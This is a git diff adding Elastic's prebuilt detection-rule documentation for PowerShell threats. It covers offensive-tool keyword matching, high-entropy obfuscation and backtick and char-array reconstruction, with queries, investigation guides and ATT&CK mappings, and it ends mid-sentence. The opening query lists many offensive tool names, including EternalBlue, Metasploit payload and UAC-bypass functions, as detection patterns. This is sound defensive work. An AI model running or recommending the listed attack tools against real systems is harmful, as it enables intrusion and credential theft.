"Download-Execute-PS" or + "Out-RundllCommand" or "Set-RemoteWMI" or + "Set-DCShadowPermissions" or "Invoke-PowerShellWMI" or + "Invoke-Vnc" or "Invoke-LockWorkStation" or + "Invoke-EternalBlue" or "Invoke-ShellcodeMSIL" or + "Invoke-MetasploitPayload" or "Invoke-DowngradeAccount" or + "Invoke-RunAs" or "ExetoText" or + "Disable-SecuritySettings" or "Set-MacAttribute" or + "Invoke-MS16032" or "Invoke-BypassUACTokenManipulation" or + "Invoke-SDCLTBypass" or "Invoke-FodHelperBypass" or + "Invoke-EventVwrBypass" or "Invoke-EnvBypass" or + "Get-ServiceUnquoted" or "Get-ServiceFilePermission" or + "Get-ServicePermission" or + "Enable-DuplicateToken" or "Invoke-PsUaCme" or + "Invoke-Tater" or "Invoke-WScriptBypassUAC" or + "Invoke-AllChecks" or "Find-TrustedDocuments" or + "Invoke-Interceptor" or "Invoke-PoshRatHttp" or + "Invoke-ExecCommandWMI" or "Invoke-KillProcessWMI" or + "Invoke-CreateShareandExecute" or "Invoke-RemoteScriptWithOutput" or + "Invoke-SchedJobManipulation" or "Invoke-ServiceManipulation" or + "Invoke-PowerOptionsWMI" or "Invoke-DirectoryListing" or + "Invoke-FileTransferOverWMI" or "Invoke-WMImplant" or + "Invoke-WMIObfuscatedPSCommand" or "Invoke-WMIDuplicateClass" or + "Invoke-WMIUpload" or "Invoke-WMIRemoteExtract" or "Invoke-winPEAS" or + "Invoke-AzureHound" or "Invoke-SharpHound" or "Invoke-DownloadCradle" or + "Invoke-AppPathBypass" + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" + ) and + not user.id : ("S-1-5-18" or "S-1-5-19") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Group Policy Preferences +** ID: T1552.006 +** Reference URL: https://attack.mitre.org/techniques/T1552/006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Sub-technique: +** Name: Windows Remote Management +** ID: T1021.006 +** Reference URL: https://attack.mitre.org/techniques/T1021/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscated-script-via-high-entropy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscated-script-via-high-entropy.asciidoc new file mode 100644 index 0000000000..42b3f0140e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscated-script-via-high-entropy.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscated-script-via-high-entropy]] +=== Potential PowerShell Obfuscated Script via High Entropy + +Identifies PowerShell script blocks with high entropy and non-uniform character distributions. Attackers may obfuscate PowerShell scripts using encoding, encryption, or compression techniques to evade signature-based detections and hinder manual analysis by security analysts. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential PowerShell Obfuscated Script via High Entropy* + + +This alert flags a large PowerShell script block with statistical characteristics consistent with obfuscated content (for example, encoded, compressed, or encrypted data embedded in a script). Triage should focus on establishing execution context (who/where), reconstructing the complete script content, identifying whether the high-entropy data is a benign embedded resource or a staged payload, and scoping for related activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Triage the execution context and initial severity: + - Review `@timestamp` to identify when the script block executed and align pivots to the same timeframe. + - Review `host.name` and `host.id` to identify the endpoint and validate whether PowerShell use is expected for its role. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to run PowerShell on this host and whether it is privileged, shared, or an automation/service identity. + - Review `powershell.file.script_block_length`, `powershell.file.script_block_entropy_bits`, and `powershell.file.script_block_surprisal_stdev` to understand whether the alert is driven by a large embedded blob (often staging) or more mixed script content (often a wrapper/loader plus embedded data). + +- Determine script provenance (file-backed vs. dynamic/interactive): + - If `file.path` is present, review `file.directory` and `file.name` to understand where the script originated. + - Assess whether `file.directory` is consistent with approved administrative tooling locations for this host and user, or whether it appears user-writable, temporary, or otherwise unusual. + - If `file.path` is absent, treat the script block as potentially interactive or dynamically generated and prioritize reconstructing the full script content and identifying the launch source via process correlation. + +- Reconstruct the full script content when fragmented: + - Pivot on `powershell.file.script_block_id` to collect all fragments associated with the script block. + - Order fragments using `powershell.sequence` and validate completeness using `powershell.total`. + - Analyze the reconstructed content as a whole to avoid missing small loader logic that precedes a large encoded/encrypted payload. + +- Perform structured content review of `powershell.file.script_block_text`: + - Identify large contiguous strings, byte arrays, or character arrays that may represent encoded or packed data; use `powershell.file.script_block_unique_symbols` to help distinguish limited-alphabet encodings from broader character sets. + - Look for transformation and staging patterns (for example, decode/decrypt/decompress routines) and whether transformed content is immediately executed (for example, dynamic invocation, in-memory loading, or secondary script evaluation). + - Extract any embedded indicators (domains, URLs, IPs, file paths/names, registry paths, scheduled task/service names, or distinctive strings) and retain them for scoping and containment. + +- Establish the execution chain and initiating source: + - Use `process.pid` with `host.id` and `@timestamp` to pivot to process telemetry for the PowerShell host instance that generated the script block. + - Identify the parent process and initiating mechanism (interactive shell, scheduled execution, remote management, document/script host, or other launcher). Treat unexpected launch sources or unusual timing for the host role as higher risk. + - Check whether the same `process.pid` generated additional suspicious script blocks around the alert time, and whether `user.id` and `host.id` align with expected administrative behavior. + +- Correlate for follow-on activity on the same host and account: + - Correlate on `host.id` and `@timestamp` to identify adjacent events that indicate impact (outbound connections, file writes, module downloads, persistence changes, or unusual authentication activity). + - When `file.path` is present, correlate on that path and timeframe for file creation/modification patterns that may indicate initial staging or subsequent cleanup. + +- Scope the activity across the environment: + - Search for other high-entropy script blocks on the same `host.id` and `user.id` before and after the alert to identify repeated execution or iterative staging. + - Search across hosts for the same `file.name` and `file.path` (when present) and compare `powershell.file.script_block_text` structure to identify reuse. + - Use distinctive substrings from `powershell.file.script_block_text` as pivots to find related script blocks even when paths or accounts differ. + + +*False positive analysis* + + +- Benign scripts can trigger this alert when they legitimately embed packed data (for example, compressed resources, serialized configuration blobs, embedded certificates/keys, or packaged modules) that increase entropy and appear non-uniform. +- Indicators supporting a benign determination: + - `file.path` and `file.name` consistently map to an approved internal tool or vendor-managed automation across multiple hosts. + - `user.id` represents an expected administrative or automation identity with predictable host targeting and execution timing. + - Reconstructed `powershell.file.script_block_text` shows a stable, repeatable structure over time, and any decoded content aligns with known operational functionality rather than staging and immediate secondary execution. +- Indicators supporting suspicion: + - Unusual `file.directory` for the host role or account, or absence of `file.path` combined with evidence of dynamic staging behavior. + - Reconstructed content includes clear execution of transformed data, in-memory loading patterns, or embedded external destinations not associated with known tooling. +- If determined benign, document the owning tool/team, expected `user.id` usage, and expected `file.path`/`file.name` (when present). Use those stable attributes for future baselining and noise reduction while preserving detection for new paths, new users, or materially different script structures. + + +*Response and remediation* + + +- If suspicious or malicious activity is confirmed: + - Contain the affected host to prevent further execution and lateral movement. + - Preserve relevant evidence from the alert, including full reconstructed script content (via `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`), and associated context (`@timestamp`, `host.*`, `user.*`, `file.*`, `process.pid`, and entropy metrics). + - Use extracted indicators from `powershell.file.script_block_text` to hunt across hosts and accounts, and to identify additional affected systems. + - Investigate and remediate follow-on activity identified during correlation (downloaded payloads, dropped files, persistence mechanisms, or unauthorized network access) and remove malicious artifacts from affected endpoints. + - If account compromise is suspected for `user.id` / `user.name`, initiate credential reset and review recent authentication activity and access paths associated with that identity. + +- If benign activity is confirmed: + - Record the justification and expected behavior (who runs it, where it runs, and expected `file.path` when present). + - Monitor for deviations from the established baseline, including new `user.id`, new `host.id`, new `file.path`, or significant changes in `powershell.file.script_block_text` structure or entropy characteristics. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and powershell.file.script_block_length > 1000 and + powershell.file.script_block_entropy_bits >= 5.5 and powershell.file.script_block_surprisal_stdev > 0.7 and + not file.directory: ( + "C:\Program Files (x86)\Microsoft Intune Management Extension\Content\DetectionScripts" or + "C:\Program Files\Microsoft Azure AD Connect Health Agent\Products\AdFederationService\AdfsDiagnostics\AdfsToolbox\diagnosticsModule\Private" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc new file mode 100644 index 0000000000..ca350083cb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-backtick-escaped-variable-expansion]] +=== Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion + +Detects PowerShell scripts that use backtick-escaped characters inside `${}` variable expansion (multiple backticks between word characters) to reconstruct strings at runtime. Attackers use variable-expansion obfuscation to split keywords, hide commands, and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion* + + + +*Possible investigation steps* + + +- Did you reconstruct the complete alerting script block and confirm the escaped-variable pattern? + - Focus: alert-local `Esql.script_block_pattern_count`, `Esql.script_block_tmp`, `Esql.script_block_length`, and reconstructed `powershell.file.script_block_text`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: query PowerShell Operational events from logs-windows.powershell_operational*, then reconstruct with `powershell.file.script_block_id` + `powershell.sequence` + `powershell.total` on the same `host.id`; confirm fragment count before judging intent. + - Implication: escalate when the complete block repeats ${} backtick expansion across command, variable, or string-building logic; lower suspicion when one isolated escaped token sits inside readable build or template code. Missing fragments keep the alert unresolved, not benign. + +- What execution-critical text appears when the backticks inside ${} are removed? + - Focus: reconstructed `powershell.file.script_block_text`, alert-local `Esql.script_block_tmp`, and the command, variable, or string tokens exposed by removing the backticks. + - Implication: escalate when escaped expansions hide cmdlets, invocation operators, download strings, encoded payloads, AMSI or logging bypass names, or variables that feed execution; lower suspicion when they only protect literal template placeholders and no decoded token changes execution. + +- Does the script origin and user-host context fit one bounded generation workflow? + - Focus: `file.path`, `file.name`, `user.id`, `host.name`, and `host.id`. + - Implication: escalate when `file.path` is absent for a long obfuscated block, the path is user-writable, temporary, or delivery-oriented, or the account-host pair does not fit script generation or deployment; lower suspicion only when origin, account, host, and decoded content match one recognized build, packaging, updater, or test workflow. + +- If process telemetry is available, how was the PowerShell instance launched? + - Focus: alert-preserved `process.pid`, plus recovered `process.executable`, `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. + - Hint: recover the matching process via `host.id + process.pid`; around alert `@timestamp`, prefer the closest start event for that `host.id` if PID reuse creates multiple matches. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the chain starts from a browser, document process, archive, remote tooling, scheduled task, non-PowerShell host process using System.Management.Automation, or encoded/in-memory command path that does not fit the script purpose; lower suspicion when executable, parent, and command line match the same recognized build, packaging, updater, or test workflow. Missing endpoint process telemetry keeps lineage unresolved, not benign. + +- Does the decoded content request a second execution stage? + - Focus: decoded execution, download, credential, policy, persistence, or payload-staging commands in `powershell.file.script_block_text`. + - Hint: after process recovery via `host.id + process.pid`, review child events where `process.parent.entity_id` equals the recovered PowerShell `process.entity_id`; use `host.id` plus `process.parent.pid` as a weaker tight-window fallback. !{investigate{"description":"","label":"Child process activity from the PowerShell instance","providers":[[{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when hidden tokens feed execution operators, downloaded content, child processes, credential access, policy tampering, persistence, or payload staging; lower suspicion when decoded actions stay inside the same recognized generation or update task and no second execution path appears. Missing endpoint process telemetry leaves child-process correlation unresolved, not benign. + +- If local evidence remains suspicious or unresolved, does this escaped-variable pattern appear elsewhere? + - Focus: related alerts for `user.id` and `host.id` in the last 48 hours, decoded token fragments from `powershell.file.script_block_text`, and the same `file.path` when present. + - Hint: start with related alerts for the same `user.id`; if sparse, pivot to the same `host.id`. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same escaped-variable technique or decoded execution strings appear on unrelated hosts, users, or source paths; keep local when recurrence stays inside the same confirmed workflow and local evidence is otherwise clean. + +- Escalate on strong unauthorized execution evidence from decoded tokens, fileless or unusual origin, launch chain, second-stage behavior, or repeated scope; close only when telemetry and any needed owner or change confirmation explain every suspicious token as one recognized build, packaging, updater, or test workflow; preserve and escalate when fragments, endpoint process telemetry, or workflow proof are missing for a suspicious script. + + +*False positive analysis* + + +- Code generation, packaging, build, updater, bootstrap, or test harness workflows can emit backtick-escaped ${} sequences while producing PowerShell text. Confirm only when reconstructed `powershell.file.script_block_text` is limited to template, packaging, installer, updater, or test logic; `file.path` or its absence fits that source; any recovered launch chain supports the same tool; and `user.id` plus `host.id` match the same operating scope. If change records are unavailable, require the same file origin, decoded token family, and user-host scope across prior alerts from this rule. +- Treat one benign-looking token as insufficient for closure. Do not close when decoded content contains execution, download, defense-evasion, credential, or persistence logic that the named workflow does not require. +- Before creating an exception, anchor it to stable indexed fields such as `user.id`, `host.id`, and `file.path` or `file.name`, plus the stable decoded token family and recovered parent context when available. Do not use `Esql.script_block_pattern_count` or `Esql.script_block_tmp` in exceptions because they are alert-local summaries, not exception-safe fields. + + +*Response and remediation* + + +- If confirmed benign, document the evidence that explained the alert first: reconstructed script intent, file origin or fileless source, `user.id`, `host.id`, and the recovered launch context when available. Then reverse any temporary containment and create a narrow exception only after the same workflow pattern is stable across prior alerts. +- If suspicious but unconfirmed, preserve the alert, reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, ordered 4104 fragments, file origin, host-user scope, recovered launch context when available, and decoded indicators before containment. Apply reversible containment such as heightened monitoring or host isolation only if the host role can tolerate it, then escalate before deleting artifacts or resetting credentials. +- If confirmed malicious, preserve the same script, source-event, process, and decoded-indicator evidence before destructive action. Isolate the host when the evidence shows unauthorized execution and host criticality allows it, record the recovered process identifier before termination, block confirmed malicious decoded indicators, and remove only the scripts, payloads, startup items, policy changes, or persistence artifacts identified during the investigation. Reset credentials only when the investigation shows account misuse beyond local script execution. +- Post-incident hardening: retain PowerShell script-block logging, keep endpoint process telemetry sufficient for `host.id + process.pid` recovery, restrict recurring script generation to recognized signed tooling and service scopes, and document the confirmed benign workflow or malicious decoded token family for future triage. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """\$\{(\w++`){2,}\w++\}""", "🔥") + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + file.name, + process.pid, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc new file mode 100644 index 0000000000..a0bfd41484 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-character-array-reconstruction]] +=== Potential PowerShell Obfuscation via Character Array Reconstruction + +Detects PowerShell scripts that reconstructs strings from char[] arrays, index lookups, or repeated ([char]NN)+ concatenation/join logic. Attackers use character-array reconstruction to hide commands, URLs, or payloads and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential PowerShell Obfuscation via Character Array Reconstruction* + + + +*Possible investigation steps* + + +- What hidden text is reconstructed at the alert-marked sites? + - Focus: `powershell.file.script_block_text`, `powershell.file.script_block_length`, and alert-local `Esql.script_block_pattern_count` and `Esql.script_block_tmp` reconstruction markers. + - Implication: escalate when reconstructed strings reveal execution, download, staging, persistence, credential, or policy-control intent; lower concern only when decoded text is limited to static formatting, localization, or configuration constants in an otherwise readable generated script. + +- Is the full source script block available for pivots? + - Why: ES|QL preserves alert evidence, but split 4104 events and omitted source fields can hide the decoded action or later pivot keys. + - Focus: same `host.id` and `powershell.file.script_block_id`, ordered by `powershell.sequence` and checked against `powershell.total`, with each fragment's `powershell.file.script_block_text`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if fragments do not match `powershell.total`, query `logs-windows.powershell_operational*` before closing. Record source `process.pid` and `file.path`. + - Implication: escalate when complete reconstruction exposes hidden stages, payload material, or omitted execution context; keep unresolved when missing fragments or source fields could contain the decoded action or pivot key. + +- Which source event and launch context explain this PowerShell? + - Why: endpoint launch context must be recovered before parentage or process-scoped pivots are trusted. + - Focus: if endpoint process telemetry is available, use source `process.pid` plus `host.id` around `@timestamp` to recover `process.entity_id`, `process.command_line`, and `process.parent.executable`. !{investigate{"description":"","label":"Process events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: do not require powershell.exe; hosted PowerShell can still produce 4104. If endpoint process telemetry is missing, bound later pivots to `host.id`, `user.id`, and a tight alert window. + - Implication: escalate when the script is fileless, sourced from user-writable or delivery paths, launched by a browser/document/remoting/scheduled-task parent, or run with a command line that does not fit the actor; lower concern only when recovered source and launch evidence identify one generator or updater workflow and decoded intent stays non-executing. + +- Does decoded content add obfuscation, execution, staging, or persistence? + - Focus: `powershell.file.script_block_text`, decoded strings, source `file.path`, and, with endpoint file or registry telemetry, `registry.path`. Use same-PID artifact events around `@timestamp` to validate writes or registry changes. !{investigate{"description":"","label":"File and registry events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: scope file or registry review with 